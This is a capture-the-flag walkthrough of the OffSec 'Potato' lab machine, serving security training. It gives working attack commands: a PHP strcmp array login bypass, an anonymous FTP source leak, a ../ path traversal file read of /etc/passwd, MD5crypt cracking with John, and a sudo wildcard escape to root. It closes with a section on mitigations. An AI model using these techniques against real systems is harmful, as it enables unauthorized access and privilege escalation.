From PHP Type Juggling to Root

Difficulty: Easy OS: Linux (Ubuntu 20.04) Date: March 13, 2026

Introduction

Potato is an Easy-rated Linux machine on OffSec Proving Grounds (Play). On the surface, it looks like a two-port box with a dead web page — and honestly, if you only run a quick scan, you'll spend a lot of time going in circles. The real lesson here is enumeration. Always run a full port scan. Port 2112 is always there, and without it, everything falls apart.

The box chains together a few classic weaknesses: PHP type juggling to get past the login, anonymous FTP leaking a source code backup, LFI to pull /etc/passwd, a crackable MD5 hash, and a sudo wildcard that hands you root. Nothing here is cutting-edge, but it's a solid box for building the habit of being methodical and not skipping steps.

None

Table of Contents

┌─────────────────────────────────────────────────────────┐
│                   TABLE OF CONTENTS                     │
├─────────────────────────────────────────────────────────┤
│  1. Reconnaissance                                      │
│  2. Web Enumeration                                     │
│  3. PHP Type Juggling — Login Bypass                    │
│  4. Admin Dashboard Exploration                         │
│  5. FTP on Port 2112 — Source Code Disclosure           │
│  6. Local File Inclusion (LFI)                          │
│  7. Password Cracking                                   │
│  8. Initial Access via SSH                              │
│  9. Privilege Escalation — Sudo Wildcard Escape         │
│  10. Defense & Mitigation                               │
│  11. Summary                                            │
└─────────────────────────────────────────────────────────┘

Attack Chain

Recon → Dir Enum → PHP Type Juggling Login Bypass
     → Admin Dashboard → FTP Anonymous (Port 2112)
     → Source Code Disclosure → LFI (6x Path Traversal)
     → /etc/passwd Read → MD5crypt Hash Crack
     → SSH Access → Sudo Wildcard Escape → ROOT

1. Reconnaissance

Standard starting point — Nmap with service detection and scripts:

nmap -Pn -sC -F -A <TARGET>

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company

Two ports. SSH and a web server. Nothing exciting yet. While we poke at the web side, kick off a full port scan in the background — this one matters:

nmap -Pn -p- --min-rate 10000 --max-retries 2 <TARGET>

This is what eventually surfaces on port 2112, which is the turning point of the whole box. Don't skip it.

2. Web Enumeration

Hitting the root gives us a placeholder page — "under construction," potato photo, nothing useful. We run Gobuster while looking around:

gobuster dir -u http://<TARGET> \
  -w /usr/share/dirb/wordlists/common.txt \
  -x php,txt,html

Results:

/admin    (Status: 301) [--> http://<TARGET>/admin/]
/index.php (Status: 200)
None

/admin/ redirects to a login page. Curling it shows a simple form of posting to index.php?login=1:

curl -s http://<TARGET>/admin/
<form action="index.php?login=1" method="POST">
  <input type="text" name="username" required>
  <input type="password" name="password" required>
</form>

3. PHP Type Juggling — Login Bypass

Default creds don't work. Basic SQLi doesn't work either. But the login is built with PHP's strcmp() — and that's a problem.

When you pass an array instead of a string to strcmp(), PHP returns NULL. Under loose comparison (==), NULL == 0 is TRUE. That's it — the authentication check passes without a valid password.

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
  -d "username=admin&password[]=1" -L -c /tmp/cookies.txt

Response:

Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>

We're in. Cookie saved.

Why this works: strcmp($array, $string) returns NULL. NULL == 0 is TRUE under loose comparison. The fix is === (strict comparison) or validating that the input is actually a string before touching it.

4. Admin Dashboard Exploration

The dashboard has four pages worth looking at:

Home | Users | Date | Logs | Ping

A few things stand out immediately:

  • Logs — takes a POST parameter file and displays its contents. Classic LFI setup.
  • Ping — runs a live ping to 8.8.8.8. Potential command injection, though it ignores custom input.
  • Date — shows system time via a shell call.
  • Cookie — after login, the app sets a cookie named pass and puts the actual plaintext password in it via setcookie('pass', $pass, ...).
None

That last point means we can just read the cookie to get the current admin password:

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
  -d "username=admin&password[]=1" -L -c /tmp/cookies_real.txt -v 2>&1 \
  | grep -i "set-cookie"
Set-Cookie: pass=<REDACTED>

The cookie value is the live password. We'll need it for the LFI step.

5. FTP on Port 2112 — Source Code Disclosure

The full port scan comes back with port 2112 open. A targeted scan tells us exactly what's there:

nmap -Pn -p 2112 -sV -sC <TARGET>
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp   ftp   901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp   ftp    54 Aug  2  2020 welcome.msg

ProFTPD with anonymous login allowed, and a .bak file sitting in the root. We grab it:

ftp -n <TARGET> 2112 <<EOF
user anonymous anonymous
get index.php.bak
get welcome.msg
bye
EOF
None

index.php.bak is the source code of the admin login page:

<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0
      && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome!";
    setcookie('pass', $pass, time() + 365*24*3600);
  } else {
    echo "<p>Bad login/password!</p>";
  }
  exit();
}
?>

This confirms everything — the strcmp() vulnerability, the plaintext cookie, and the fact that the original password was potato (since changed, which is why that didn't work earlier). The cookie we pulled in step 4 is the current live password.

6. Local File Inclusion (LFI)

The Logs page passes the file POST parameter straight into a file read with no sanitization. Standard ../../../etc/passwd returns empty — the read is relative to a deeper subdirectory. After testing different depths, 6 levels ../ is what it takes:

curl -s -X POST "http://<TARGET>/admin/dashboard.php?page=log" \
  -H "Cookie: pass=<REDACTED>" \
  --data-raw "file=../../../../../../etc/passwd"

/etc/passwd output:

root:x:0:0:root:/root:/bin/bash
...
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:<HASH>:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

Two users with login shells. More importantly, webadmin's password hash is sitting right there in /etc/passwd, not in /etc/shadow where it belongs. That's a serious misconfiguration, and it means anyone who can read the file can grab the hash.

None

7. Password Cracking

The $1$ prefix means this is an MD5crypt hash — old and fast to crack. We throw it at John with rockyou:

echo 'webadmin:<HASH>' > /tmp/hash.txt
john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

<CRACKED>           (webadmin)
1g 0:00:00:00 DONE — 1.886g/s

Done in under a second. That's the danger of MD5crypt — it was designed for an era when cracking was slow. On modern hardware, it offers almost no resistance.

8. Initial Access via SSH

ssh webadmin@<TARGET>
# Password: <REDACTED>
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
webadmin@serv:~$

Shell as webadmin.

9. Privilege Escalation — Sudo Wildcard Escape

First thing after landing — check sudo:

sudo -l
User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*
None

The intent is clear — webadmin can run /bin/nice on files inside /notes/. But the wildcard * doesn't block path traversal. The OS resolves ../ after sudo does its pattern match, so we can walk straight out of /notes/ into anywhere on the filesystem:

sudo /bin/nice /notes/../bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

Root. The path /notes/../bin/sh resolves to /bin/sh. Sudo saw it match /notes/* and allowed it. The OS then resolved the traversal and ran /bin/sh as root.

None

10. Defense & Mitigation

10.1 PHP Type Juggling (Login Bypass)

Issue Fix strcmp() with == loose comparison Use === strict comparison No input type validation. Validate that the input is a string before comparing the array accepted as the password field. Add is_string() a check on all form inputs

// Vulnerable
if (strcmp($_POST['password'], $pass) == 0)
// Fixed
if (is_string($_POST['password']) && hash_equals($pass, $_POST['password']))

10.2 Sensitive Data in Cookies

Storing the password in a cookie is an obvious but surprisingly common mistake. Any attacker who can intercept traffic or access browser storage gets the plaintext password immediately.

// Vulnerable — never do this
setcookie('pass', $pass, time() + 365*24*3600);
// Fixed — use server-side sessions
session_start();
$_SESSION['authenticated'] = true;
$_SESSION['user'] = $username;

Sessions keep a sensitive state server-side. The client only ever sees a random session ID.

10.3 Anonymous FTP Exposing Source Code

Two issues here: anonymous FTP was enabled, and a .bak source file was left in the FTP root. Either one alone is bad. Together, they hand the entire application logic to an unauthenticated attacker.

  • Disable anonymous FTP if it is not needed:
# /etc/proftpd/proftpd.conf
# Remove or comment out the <Anonymous> block entirely
  • Never leave backup files (.bak, .old, .orig) in any directory accessible over FTP or HTTP.
  • Audit FTP directories regularly for leftover files.

10.4 Local File Inclusion (LFI)

The file parameter is passed directly to a file read with no sanitization:

// Vulnerable
$content = file_get_contents($_POST['file']);
// Fixed — strict whitelist
$allowed = ['log_01.txt', 'log_02.txt', 'log_03.txt'];
if (!in_array($_POST['file'], $allowed, true)) {
    die("Access denied");
}
$content = file_get_contents('/var/www/html/admin/logs/' . $_POST['file']);

Additional layers:

  • Use basename() to strip any directory components from user input
  • Lock down the web server user (www-data) with strict filesystem permissions
  • Set PHP's open_basedir to restrict which directories PHP can read from

10.5 Password Hash in /etc/passwd

/etc/passwd is world-readable by design — every user on the system can read it. Password hashes belong in /etc/shadow, which is readable only by root.

# Check for hashes sitting in /etc/passwd
awk -F: '$2 != "x" && $2 != "*" && $2 != "!" {print $1}' /etc/passwd
# Migrate to shadow passwords
pwconv
chmod 640 /etc/shadow
chown root:shadow /etc/shadow

And stop using MD5crypt. It has been broken for decades. Use SHA-512 at a minimum:

# /etc/login.defs
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 5000

10.6 Sudo Wildcard Escape

Wildcards in sudo rules are almost always a mistake. The pattern /notes/* feels restrictive, but it is not — path traversal turns it into unrestricted binary execution.

# Vulnerable
webadmin ALL=(ALL:ALL) /bin/nice /notes/*
# Fixed — list specific files explicitly
webadmin ALL=(ALL:ALL) /bin/nice /notes/report.txt
webadmin ALL=(ALL:ALL) /bin/nice /notes/status.txt

Better yet, question whether this sudo rule needs to exist at all. Ask yourself what webadmin actually needs, grant only that, and nothing more. Run sudo -l As each service account regularly has misconfigurations like this are easy to miss during setup and easy to catch during review.

11. Summary

┌──────────────────────────┬────────────────────────────────────┬───────────────┐
│ Step                     │ Technique                          │ Tool          │
├──────────────────────────┼────────────────────────────────────┼───────────────┤
│ Port discovery           │ Full TCP scan                      │ nmap          │
│ Directory brute force    │ Gobuster → /admin/                 │ gobuster      │
│ Auth bypass              │ PHP strcmp() type juggling         │ curl          │
│ Source code leak         │ Anonymous FTP + .bak file          │ ftp           │
│ LFI                      │ 6-level path traversal             │ curl          │
│ Credential extraction    │ /etc/passwd hash read              │ LFI           │
│ Hash cracking            │ MD5crypt → cracked                 │ john          │
│ Initial access           │ SSH as webadmin                    │ ssh           │
│ Privilege escalation     │ sudo wildcard escape via ../       │ sudo          │
└──────────────────────────┴────────────────────────────────────┴───────────────┘

Vulnerabilities chained:

PHP Type Juggling → Source Code Disclosure → LFI
→ Weak Hashing → Weak Password → Sudo Misconfiguration

Rooted — OffSec PG Play | March 2026